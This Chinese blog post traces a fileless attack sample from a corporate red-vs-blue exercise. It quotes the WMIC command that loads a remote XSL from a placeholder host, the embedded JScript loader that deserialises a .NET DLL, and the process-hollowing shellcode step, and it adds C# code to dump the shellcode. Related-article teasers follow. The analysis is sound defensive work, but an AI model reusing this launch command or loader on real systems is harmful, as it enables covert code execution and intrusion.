一次红蓝对抗无文件攻击溯源

VSole2022-01-21 07:28:58

0x01 简述

前段时间参加公司举办的红蓝对抗演习,帮助蓝军分析并溯源样本。拿到样本时,就一个xsl类型的文件,和一个用来执行该样本的命令行,如下所示:

C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"//ip/scripts/1.xsl"

可以看出,是通过白利用技术,通过wmic来执行的这个恶意的xsl文件,想了解更多,可以参考这篇文章

https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8wmic%E8%B0%83%E7%94%A8xsl%E6%96%87%E4%BB%B6%E7%9A%84%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/

0x02 xsl文件分析

XSL文件是一种可扩展样式语言,可以通过内置标签来解析执行其他脚本语言,如:Javascript,VBscript等。

https://zh.wikipedia.org/wiki/%E5%8F%AF%E6%89%A9%E5%B1%95%E6%A0%B7%E5%BC%8F%E8%AF%AD%E8%A8%80

通过分析发现,该xsl中内嵌的远不止JS脚本这么简单!内嵌的js脚本会修改当前进程的shell环境为.net的环境,然后通过解密base64硬编码的PE文件,该文件是由C#编写的DLL文件。

然后以.NET的shell环境来调用.net的函数,并把硬编码的dll文件字节码反序列化成C#类对象,调用该类对象中的名为:call的函数,通过js调用.net函数,参考:

https://github.com/tyranid/DotNetToJScript

修改Shell环境为.NET:

function autoversion()
{
var shell = new ActiveXObject('WScript.Shell');
        ver = 'v4.0.30319';
try {
        shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
        } catch(e) {
        ver = 'v2.0.50727';
        }
        shell.Environment('Process')('COMPLUS_Version') = ver;
    }

调用.net类对象的call函数,可以看到call函数传入一个系统进程名字,svchost.exe,另一个是base64硬编码的一段加密的code

run函数:

function run()
{
        var serialized_obj = 'base64硬编码的C# DLL文件';
        var cryptedcode = 'Base64加密的shellcode';
        var entry_class = 'test';
 
        try
        {
            autoversion();
            var stm = base64ToStream(serialized_obj);
            var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
            var al = new ActiveXObject('System.Collections.ArrayList');
            var d = fmt.Deserialize_2(stm);
            al.Add(fmt.SurrogateSelector);
            var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
            o.call('svchost.exe', cryptedcode);
        }
        catch (e)
        {
        }
 
        return 0;
    }

serialized_obj变量中保存的是base64硬编码的dll文件,首先通过Chrome浏览器自带的调试器,还原出完整的base64加密字符串,点击右下角的copy

然后使用010Editor自带的base64decode脚本解密该密文

解密base64后,切换个hex模式,往下拉动滚动条,可以看到文件的MZ头,删除前面的垃圾内容,保留从MZ头到末尾即可还原出DLL文件

可以看到是.net2.0库写的dll

0x03 C# DLL文件分析

使用ILSpy工具反编译刚才dump出来的C# DLL文件,可以看到内部有个test类,类中果然有个call的方法

call(svchost,base64密文),Call方法中调用 DESEncrypt.Decrypt(b64code, test.key);方法,解密base64密文,然后使用硬编码的DES KEY:***ATeam 解密shellcode

最后调用CodeLoader.CreateProcessWithCode(path, code); 通过分析CreateProcessWithCode函数,发现是通过创建傀儡进程的方式注入shellcode并运行的,了解更多,请参考

https://www.4hou.com/technology/8869.html

0x04 shellcode分析

通过上面的分析,可以写一个C#程序,把注入到进程中的shellcode dump出来

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
 
namespace test
{
    class Program
    {
        static string key = "xxx";
        static string cryptedcode = "base64->des加密的shellcode";
 
        public static byte[] Decrypt(string pToDecrypt, string sKey)
        {
            DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
            byte[] array = Convert.FromBase64String(pToDecrypt);
            dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
            dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
            MemoryStream memoryStream = new MemoryStream();
            CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
            cryptoStream.Write(array, 0, array.Length);
            cryptoStream.FlushFinalBlock();
            return memoryStream.ToArray();
        }
 
        static void Main(string[] args)
        {
 
           byte[] code =  Decrypt(cryptedcode, key);
           string filePath = Directory.GetCurrentDirectory() + "\\123.txt";
           if (File.Exists(filePath))
               File.Delete(filePath);
 
           FileStream fs = new FileStream(filePath, FileMode.Create);
           fs.Write(code, 0, code.Length);
           fs.Flush();
           fs.Close();
 
             
           int n = 123;
        }
    }
}

分析shellcode后,发现是个loader程序,对应的C2地址,由于这边IP访问限制,访问不了总部那边的网络

硬编码base64
本作品采用《CC 协议》,转载必须注明作者和本文链接
本研究的系统分析揭示了一系列漏洞,这些漏洞证明了 EVCSMS 对远程网络攻击的不安全性。考虑到此类攻击的可行性,还讨论了针对 EV 充电站 (EVCS,EV Charging Stations) 及其用户的攻击影响。
Satacom下载程序,也称为LegionLoader,是2019年出现的一个著名的恶意软件家族。该恶意软件利用查询DNS服务器的技术获取base64编码的URL,以便接收当前由Satacom传播的另一恶意软件家族的下一阶段。
根据分析人员的观察,该团伙并不针对特定部门或者地区进行攻击。密文以 base64 编码的形式存在于二进制文件中,解码后使用固定的密钥进行解密。此外,各种数据备份与反恶意软件服务也会被终止。清除日志是勒索软件用于掩盖踪迹并阻碍分析人员调查的常用手段,后续就会开始加密行为。根据其网站披露的信息,受害者的行业分布排名为教育、IT、医疗保健、制造业与食品生产。
Xray捡洞中的高频漏洞
2021-12-28 04:33:22
X-Ray 刷洞发现一些出现频率高的漏洞,把漏洞原理和利用方式稍作整理,按照危害排名,低危漏洞可以收集一些信息然后深度利用变高危。
研究人员在TP-Link Tapo智能灯泡和APP中发现4个安全漏洞,可用于窃取目标WiFi密码。
APP简单逆向到getshell
2022-11-10 08:45:28
因为url中出现weixin关键词,推测两种可能,第一种:登陆点,第二种,微信授权接口。写入webshell踩坑RCE之后呢,当然不能只满足现状,为了方便管理,肯定得写个webshell的。估计跟编码有关,大概试了半个多小时,无果。
2022年1月,研究人员发现了一个名为ChromeLoader(也称为ChoziosiLoader和ChromeBack)的新浏览器劫持者/广告软件活动。尽管使用了简单的恶意广告,该恶意软件还是被广泛传播,可能会泄露成千上万用户和组织的数据。
近日,Cyble研究实验室发现了一种名为Prynt Stealer的新信息窃取软件。该窃取软件是网络犯罪论坛上的新成员,具备各种功能。除了窃取受害者的数据外,还可以使用剪辑器和键盘记录操作进行财务盗窃。此外,它可以针对30多种基于Chromium的浏览器、5个以上基于Firefox的浏览器,以及一系列的VPN、FTP、消息和游戏应用软件。此外,构建者可以自定义此窃取软件的功能。
研究人员发现了针对Mac的恶意加密货币交易应用程序的网站。该恶意软件用于窃取信息,例如浏览器Cookie,加密货币钱包和屏幕截图。通过分析恶意软件样本,我们很快发现这是趋势科技研究人员称为GMERA的一项新活动,他...
VSole
网络安全专家